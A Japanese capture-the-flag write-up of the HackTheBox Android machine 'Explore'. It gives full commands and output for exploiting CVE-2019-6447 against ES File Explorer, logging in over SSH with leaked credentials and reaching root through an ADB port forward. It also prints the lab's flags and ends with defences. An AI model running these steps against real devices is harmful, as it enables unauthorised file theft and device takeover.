HackTheBox: Explore — 全実行コマンド・実行結果レポート
Nmap スキャン
2222/ssh, 42135, 59777
→
2222/ssh, 42135, 59777
CVE-2019-6447
ES File Explorer 無認証API
→
ES File Explorer 無認証API
listPics + GET creds.jpg
手書きメモ画像
→
手書きメモ画像
kristi:Kr1sT!5h@Rp3xPl0r3!
→
SSH :2222 (PTY) → user.txt ✓
→
SSHポートフォワード
:5555 → ADB
→
:5555 → ADB
adb root
adbdをrootとして再起動
→
adbdをrootとして再起動
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.238.59 nmap -sV -sC -p 2222,42135,59777 10.129.238.59
RESULT
PORT STATE SERVICE VERSION 2222/tcp open ssh Banana Studio SSH server app (net.xnano.android.sshserver.tv) (protocol 2.0) | ssh-hostkey: |_ 2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA) 42135/tcp open http ES File Explorer Name Response httpd 59777/tcp open http Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older Service Info: OS: Android; Device: phone; CPE: cpe:/o:linux:linux_kernel
🚨
重要発見: OS検出でAndroid端末であることが判明。
ポート2222は
net.xnano.android.sshserver.tv(Banana Studio製の
SSHサーバーアプリ)、ポート59777はnmapには誤って”Minecraft Bukkit”と
識別されているが、実際にはES File Explorerアプリの
無認証HTTP APIサーバーである(両者はレスポンス形式が似ているため
よく誤認識される既知の事象)。ポート42135はES File Explorerの
ファイル共有名前解決用の補助サービス。
各ポートへの簡易アクセス確認
BASH
curl -s http://10.129.238.59:42135/ curl -s http://10.129.238.59:59777/
ℹ️
ポート59777はES File Explorerの独自JSON APIであり、特定のJSONボディを
POSTすることでデバイス上のファイル一覧取得・ダウンロードが
認証なしで可能になる(CVE-2019-6447)。
PHASE 2
CVE-2019-6447 — ES File Explorer 無認証HTTP APIの悪用
脆弱性の仕組み
NOTE
ES File Explorer (バージョン 4.1.9.7.4 以前) は「ネットワーク越しに
PCからスマホ内のファイルを閲覧・操作できる」機能のため、起動中は
ポート59777で簡易HTTP JSON APIを常時リッスンする。このAPIには
一切の認証機構が実装されておらず、同一ネットワーク上の誰でも
以下のようなコマンドを送信してファイル一覧取得・ダウンロード・
アプリ情報取得などが可能(CVE-2019-6447)。
重要な実装上の注意点: このAPIのJSONボディは一般的なJSONの文法とは
異なり、"command"の値が文字列でもダブルクォートで囲まれていない
(例: { "command":listPics } であり { "command":"listPics" } ではない)。
Metasploitモジュールもこの非標準形式をそのまま送信している。
listPics でDCIM内の画像一覧を取得
HTTP (本検証で実際に送信したリクエスト)
POST / HTTP/1.1
Host: 10.129.238.59:59777
Content-Type: application/json
Content-Length: 24
{ "command":listPics }
BASH (curlでの再現)
curl -s -X POST http://10.129.238.59:59777/ \
-H "Content-Type: application/json" \
--data-raw '{ "command":listPics }'
RESULT (本検証の実際のレスポンスより、4件検出)
{"photos":[
{"location":"/storage/emulated/0/DCIM/creds.jpg", ...},
{"location":"/storage/emulated/0/DCIM/...", ...},
...
]}
✅
認証なしでファイル一覧取得成功! DCIMフォルダ内に
creds.jpgという、いかにも資格情報らしき名前の画像ファイルを発見。
getFile でcreds.jpgをダウンロード
NOTE
ファイルの実体ダウンロードは listPics とは異なり、POSTではなく 対象パスへの単純な GET リクエストで行う(getFile相当の動作)。
BASH
curl -s -o creds.jpg \ "http://10.129.238.59:59777/storage/emulated/0/DCIM/creds.jpg" file creds.jpg
RESULT
creds.jpg: JPEG image data, ... 4032x3024, components 3 (約1.2MB、iPhone XR で撮影されたノートの写真)
PHASE 3
手書き資格情報の解読 & user.txt取得
creds.jpgの内容確認
NOTE (画像を直接目視確認した内容)
罫線ノートに手書きで以下の2行が記載されている:
1行目: Kristi
2行目: Kr1sT!5h@Rp3xPl0r3!
l33tspeak的な読み替え(1→i, 0→o 等)を踏まえると、ユーザー名は
"kristi"、パスワードは見たままの文字列("Kr1sT!5h@Rp3xPl0r3!")と判断できる。
OCR(tesseract)でも自動抽出を試みたが、手書き文字かつ記号(!@)を含む
複雑な文字列のため自動認識の精度が低く、本検証では目視での読み取りを
採用した。
BASH (OCRを試みる場合の参考コマンド)
tesseract creds.jpg stdout --psm 6
⚠️
OCR精度の注意点: 手書き文字、特に類似形状の文字
(
1とl、0とO)を意図的に使ったパスワードは
OCRでの自動抽出に失敗しやすい。本検証でも自動抽出では不十分な結果
しか得られず、最終的に画像を直接確認してユーザー名
kristi・パスワードKr1sT!5h@Rp3xPl0r3!を読み取った。
SSH接続(Banana Studio SSHサーバー特有の制約)
NOTE
ポート2222で動くBanana Studio製SSHサーバーアプリには2つの特有の制約がある:
1. ホスト鍵として ssh-rsa しか提供しない
→ 最近のOpenSSHクライアントはデフォルトで ssh-rsa を拒否するため
明示的に許可オプションを指定する必要がある
(-o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa)
2. exec チャンネルをサポートしない
→ "ssh user@host command" のような非対話コマンド実行はすべて
"exec request failed on channel 0" で失敗する
→ 対話用PTY(-tオプション)を割り当て、expect/pexpect等で
パスワードプロンプトとシェルプロンプトを待ち受けながら
コマンドを送信する必要がある
BASH
ssh -t -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa \ -o PubkeyAuthentication=no -p 2222 kristi@10.129.238.59
RESULT
kristi@10.129.238.59's password: Kr1sT!5h@Rp3xPl0r3!
:/ $
✅
SSHログイン成功! Androidのシェル(
:/ $プロンプト)に
接続できた。
user.txt取得
BASH (SSHシェル上で実行)
:/ $ cat /storage/emulated/0/user.txt
RESULT
f32017174c7c7e8f50c6da52891ae250
user.txt — kristi (ストレージ直下)
f32017174c7c7e8f50c6da52891ae250
PHASE 4
SSHポートフォワード経由 ADB root化 — root.txt取得
ADBポート(5555)の状況確認
NOTE
nmapの全ポートスキャンではTCP/5555(ADB: Android Debug Bridge)は filteredと表示され、外部から直接到達できない。しかしターゲット内部 (localhost)ではADBデーモン(adbd)が待受状態であるため、既に確立済みの SSHセッションをポートフォワードの踏み台として使い、外部からあたかも localhostのADBへ接続しているかのようにトンネルする。
BASH (別ターミナルでトンネルを張る、Banana StudioはSSHの-N転送には対応)
ssh -N -L 5555:127.0.0.1:5555 \ -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa \ -o PubkeyAuthentication=no -p 2222 kristi@10.129.238.59 # パスワード入力: Kr1sT!5h@Rp3xPl0r3! # (このターミナルはトンネルを維持したまま保持しておく)
adb connect → adb root
BASH (別ターミナルでKali側のadbクライアントを使用)
adb kill-server adb start-server adb connect 127.0.0.1:5555 adb -s 127.0.0.1:5555 root
RESULT (本検証の実際の出力)
$ adb connect 127.0.0.1:5555 connected to 127.0.0.1:5555 $ adb -s 127.0.0.1:5555 root restarting adbd as root
ℹ️
複数のADBデバイス(ローカルのエミュレータ等)が同時に接続されている
環境では、
-s 127.0.0.1:5555でトンネル経由のデバイスを明示的に
指定しないとmore than one device/emulatorエラーになる点に注意。
adb rootでadbdが再起動されるため、数秒待ってから
adb connectをもう一度実行して再接続する必要がある。
root権限の確認 & root.txt取得
BASH
adb connect 127.0.0.1:5555 adb -s 127.0.0.1:5555 shell whoami adb -s 127.0.0.1:5555 shell cat /data/root.txt
RESULT (本検証の実際の出力)
$ adb -s 127.0.0.1:5555 shell whoami root $ adb -s 127.0.0.1:5555 shell cat /data/root.txt f04fc82b6d49b41c9b08982be59338c5
✅
root化成功! Android端末のADBデーモンは開発者モード/
rootable buildでは
adb root要求を受け入れ、root権限で
自分自身を再起動する。これによりシステム全体(/data配下含む)への
フルアクセスが得られる。
root.txt — ADB root (/data/root.txt)
f04fc82b6d49b41c9b08982be59338c5
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — kristi (/storage/emulated/0/user.txt)
f32017174c7c7e8f50c6da52891ae250
root.txt — ADB root (/data/root.txt)
f04fc82b6d49b41c9b08982be59338c5
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2019-6447 | ES File Explorer 4.1.9.7.4以前 (ポート59777) | 認証なしでのファイル列挙・任意ファイル読取 | Critical | { “command”:listPics } をPOSTしてDCIM内ファイルを列挙、GETでcreds.jpgを直接ダウンロード |
| 手書き資格情報の端末内保管 | DCIM/creds.jpg (写真として保存) | 資格情報の漏洩 | Medium | 画像を目視確認してユーザー名/パスワードを読み取り |
| ADBデバッグ機能の有効化(rootable) | Androidデバイス全体 | 権限昇格 (root) | High | SSHポートフォワードで内部限定ADBポートへ到達し adb root を要求 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 2222/ssh(Banana Studio), 42135, 59777(ES File Explorer) |
| 2 | 情報漏洩 | CVE-2019-6447 (listPics + GET) | creds.jpg (手書きメモ画像) |
| 3 | 資格情報取得+横移動 | 画像の目視確認 → SSH(PTY必須) | user.txt (kristi) |
| 4 | 権限昇格 | SSHポートフォワード → adb root | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ES File Explorerの共有HTTP APIが認証なしで有効化されたまま稼働している | ファイル共有系アプリの常駐HTTPサーバーは使用後に必ず無効化する。既知の脆弱バージョンは速やかに最新版へ更新する。 |
| パスワード等の機密情報を手書きメモとして写真保存し、端末内に残している | 資格情報は暗号化パスワードマネージャーで管理し、平文のメモ・画像として端末やクラウド同期ストレージに残さない。 |
| ADBデバッグモード(rootable build)が有効なまま一般利用されている | 本番運用端末ではADBデバッグを無効化する。開発用途であっても信頼できないネットワークに接続する際は無効化を徹底する。 |
| SSHサーバーアプリ(Banana Studio)がデフォルト状態で外部から到達可能なポートにbindされている | 不要なリモートアクセス系アプリは削除し、どうしても必要な場合は公開鍵認証限定・ファイアウォールでの送信元制限を行う。 |

